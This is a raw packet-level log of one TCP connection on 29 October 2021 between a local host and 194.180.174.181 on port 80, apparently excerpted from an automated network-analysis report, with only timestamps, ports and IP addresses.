Oct 29, 2021 15:31:14.959330082 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959343910 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959353924 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959376097 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959399939 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959409952 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959424019 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959446907 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959464073 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959469080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959494114 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959494114 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959517956 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959542036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959553003 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959566116 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959589958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959599018 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959615946 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959615946 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959642887 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959676027 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959794044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959819078 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959839106 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959846020 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959872007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959897041 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959907055 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959923029 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959947109 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959969997 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.959975004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.959999084 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960021973 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960025072 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960047007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960072041 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960072994 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960095882 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960119963 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960127115 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960143089 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960154057 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960167885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960191011 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960211992 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960212946 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960237980 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960263014 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960274935 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960285902 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960310936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960324049 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960341930 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960375071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960400105 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960422993 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960436106 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960448980 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960472107 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960474968 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960498095 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960521936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960535049 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960546970 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960572004 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960582018 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960597038 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960611105 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960622072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960645914 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960664034 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960671902 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960697889 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960715055 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960722923 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960747957 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960757017 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960793018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960818052 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960829973 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960925102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960951090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.960969925 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.960977077 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961000919 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961019993 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.961026907 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961051941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961069107 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.961090088 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961113930 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961126089 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.961137056 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961173058 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961175919 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.961189985 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961208105 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961225986 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.961344957 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961369991 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961389065 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.961394072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961440086 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.961522102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961539984 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961558104 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961574078 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961575985 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.961620092 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:14.961657047 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961674929 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961693048 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:14.961713076 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.001971006 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002017975 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002044916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002093077 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002111912 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002116919 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002141953 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002144098 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002166033 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002192020 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002207994 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002213955 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002280951 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002331018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002355099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002393961 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002398968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002425909 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002450943 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002463102 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002475023 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002499104 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002521038 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002522945 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002546072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002563000 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002568960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002594948 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002604961 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002619982 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002645016 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002657890 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002669096 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002695084 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002705097 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002721071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002743959 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002769947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002770901 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002793074 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002808094 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002816916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002840996 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002856970 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002862930 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002887011 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002908945 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002911091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002935886 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002957106 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.002959013 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.002984047 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003007889 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003012896 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003031969 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003053904 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003062010 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003077984 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003102064 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003119946 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003127098 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003150940 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003154039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003179073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003189087 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003204107 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003226995 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003251076 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003252983 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003276110 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003295898 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003300905 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003324032 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003340006 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003345966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003369093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003396988 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003436089 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003475904 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003479004 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003499985 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003523111 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003546000 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003546953 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003572941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003587008 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003596067 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003619909 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003642082 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003644943 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003670931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003693104 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003703117 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003716946 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003736973 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003876925 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003922939 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.003973961 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.003999949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004024029 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004046917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004048109 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004070997 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004095078 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004106998 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004117966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004141092 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004148960 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004204035 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004255056 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004280090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004303932 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004328012 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004350901 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004354000 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004374027 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004395962 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004396915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004420042 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004443884 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004452944 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004467010 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004492044 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004492044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004517078 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004538059 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004540920 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004565954 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004575968 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004589081 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004614115 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004622936 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004637957 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004663944 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004671097 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004687071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004709959 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004722118 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004735947 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004760981 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004762888 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004784107 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004805088 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004806995 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004829884 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004864931 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004870892 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004895926 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004918098 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004925966 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004940987 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004962921 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.004980087 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.004987001 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.005009890 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.005032063 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.005048037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.005048990 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.005068064 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.005085945 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.005110979 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.005129099 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.005176067 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.005646944 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.005709887 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.045485973 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045531034 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045555115 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045577049 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045598984 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045619965 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045640945 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045659065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045680046 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045687914 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.045701981 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045725107 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045746088 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.045789957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.045830965 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.047018051 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.047046900 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.047069073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.047091007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.047197104 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.057478905 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.103909016 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.103946924 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.103969097 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.103991032 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104013920 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104036093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104057074 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104079008 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104089022 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104100943 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104125023 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104146957 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104167938 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104175091 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104191065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104212046 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104233027 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104234934 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104257107 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104279995 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104293108 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104304075 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104326963 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104347944 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104351044 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104370117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104392052 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104403973 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104413033 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104434967 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:15.104454041 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:15.104464054 CEST	80	49841	194.180.174.181	192.168.2.7
